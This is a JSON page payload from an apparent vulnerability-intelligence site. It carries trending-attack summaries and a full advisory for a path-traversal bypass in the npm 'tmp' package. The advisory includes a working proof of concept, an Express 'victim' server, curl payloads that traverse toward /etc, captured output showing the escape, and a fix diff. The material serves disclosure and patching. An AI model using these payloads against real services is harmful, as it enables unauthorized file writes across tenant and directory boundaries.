[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-49982":30,"landing-articles":83},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":53,"references":56,"score":60,"epss_score":61,"epss_percentile":62,"is_kev":63,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":64,"attack_mappings":74,"exploits":81},356590,"CVE-2026-49982","EUVD-2026-36265","tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix\u002Fpostfix\u002Ftemplate\n\n### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `..\u002F`. The value flows through `Array.prototype.join`\u002F`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI\u002Fbuild systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` >= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 \u002F merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib\u002Ftmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n\u002F\u002F lib\u002Ftmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n\u002F\u002F lib\u002Ftmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n\u002F\u002F lib\u002Ftmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : 'tmp',\n  '-',\n  process.pid,\n  '-',\n  _randomChars(12),\n  opts.postfix ? '-' + opts.postfix : ''\n].join('');\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['..\u002Fescape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () => false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `..\u002F`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`\u002F`postfix`\u002F`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{\"prefix\":[\"..\u002Fescape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=..\u002Fescape` into `['..\u002Fescape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix\u002Fpostfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\nconst baseDir = fs.mkdtempSync('\u002Ftmp\u002Fsafe-base-');\n\nconsole.log('[negative control] string \"..\u002Fescape\" - must be blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '..\u002Fescape' });\n  console.log('  UNEXPECTED, file at:', r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED as expected:', e.message);\n}\n\nconsole.log('\\n[bypass] array [\"..\u002Fescape\"] - same effective value, not blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['..\u002Fescape'] });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n\nconsole.log('\\n[bypass] duck-typed object {toString, includes} - also not blocked');\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () => '..\u002Fescape', includes: () => false }\n  });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"..\u002Fescape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"..\u002Fescape\"] - same effective value, not blocked\n  CREATED at: \u002Fprivate\u002Ftmp\u002Fescape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: \u002Fprivate\u002Ftmp\u002Fescape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc && cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require('express');\nconst tmp = require('tmp');\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync('\u002Ftmp\u002Ftenant-base-');\nconsole.log('[victim] Tenant base dir:', TENANT_BASE);\n\napp.post('\u002Fupload', (req, res) => {\n  const userPrefix = req.body.prefix;  \u002F\u002F attacker-controlled\n  console.log('[victim] received prefix:', JSON.stringify(userPrefix),\n              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {\n    if (err) {\n      console.log('[victim] tmp error:', err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, 'attacker-controlled-content');\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () => console.log('[victim] http:\u002F\u002F127.0.0.1:3000'));\n```\n\nRun:\n\n```bash\nnode victim-server.js &\n```\n\nDrive three requests from another shell:\n\n```bash\necho '=== ATTACK 1: string prefix - caught by 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"prefix\":\"..\u002Fescape-string\"}' http:\u002F\u002F127.0.0.1:3000\u002Fupload\n\necho\necho '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"prefix\":[\"..\u002Fescape-array\"]}' http:\u002F\u002F127.0.0.1:3000\u002Fupload\n\necho\necho '=== ATTACK 3: multi-level traversal toward \u002Fetc ==='\ncurl -s -X POST -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"prefix\":[\"..\u002F..\u002F..\u002Fetc\u002Fpoc-tmp-bypass\"]}' http:\u002F\u002F127.0.0.1:3000\u002Fupload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"\u002Fprivate\u002Ftmp\u002Fescape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"\u002Ftmp\u002Ftenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward \u002Fetc ===\n{\"error\":\"EACCES: permission denied, open '\u002Fetc\u002Fpoc-tmp-bypass-79635-PEIABptX8JGH'\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: \u002Ftmp\u002Ftenant-base-3XHwPZ\n[victim] received prefix: \"..\u002Fescape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"..\u002Fescape-array\"] (type: array )\n[victim] file created at: \u002Fprivate\u002Ftmp\u002Fescape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"..\u002F..\u002F..\u002Fetc\u002Fpoc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open '\u002Fetc\u002Fpoc-tmp-bypass-79635-PEIABptX8JGH'\n```\n\nObservations:\n\n- ATTACK 1 (string `..\u002Fescape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"..\u002Fescape-array\"]`) passes the guard and creates a file at `\u002Fprivate\u002Ftmp\u002Fescape-array-...`, outside the tenant base `\u002Ftmp\u002Ftenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la \u002Ftmp\u002Fescape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 \u002Ftmp\u002Fescape-array-79635-gEFyGCBNFSTh\n$ cat \u002Ftmp\u002Fescape-array-*\nattacker-controlled-content\n$ ls -la \u002Ftmp\u002Ftenant-base-3XHwPZ\u002F\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"..\u002F..\u002F..\u002Fetc\u002Fpoc-tmp-bypass\"]`) reaches `fs.open` for `\u002Fetc\u002Fpoc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`\u002F`postfix`\u002F`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a\u002Flib\u002Ftmp.js\n+++ b\u002Flib\u002Ftmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n \u002F**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  *\u002F\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== 'string') {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   \u002F\u002F for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp-ghsa-7c78-jf6q-g5cm\u002Fpull\u002F1\n\n### Credit\n\nReported by tonghuaroot.","2026-06-15T16:36:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":45,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",8.2,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:L","NONE","LOW",true,[48,49],"CWE-20","CWE-22",[51,52],"cpe:2.3:a:raszi:tmp:0.2.6:*:*:*:*:node.js:*:*","cpe:2.3:a:tmp:tmp:*:*:*:*:*:*:*:*",[54,55],"Raszi Tmp","Tmp Tmp",[57,58,59],"https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fsecurity\u002Fadvisories\u002FGHSA-7c78-jf6q-g5cm","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-49982","https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp",0.76,0.00496,0.42239,false,{"timestamp":65,"automatable":66,"tech_impact":67,"exploitation":68,"cisa_decision":69,"cisa_remediation_timeline":73},"2026-06-11T18:24:14.195781Z","yes","partial","poc",{"vector":70,"decision":71,"priority":72},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T03:06:24.764476\u002F","attend","medium","14D",[75],{"name":76,"source":77,"tactics":78,"technique_id":80},"Exploit Public-Facing Application","attack_vector",[79],"initial-access","T1190",[82],{"link":57},{"count":84,"next":85,"previous":6,"results":86},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[87,95,103],{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":104,"title":105,"summary":106,"published_at":107,"type":108,"link":109,"image_url":110},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]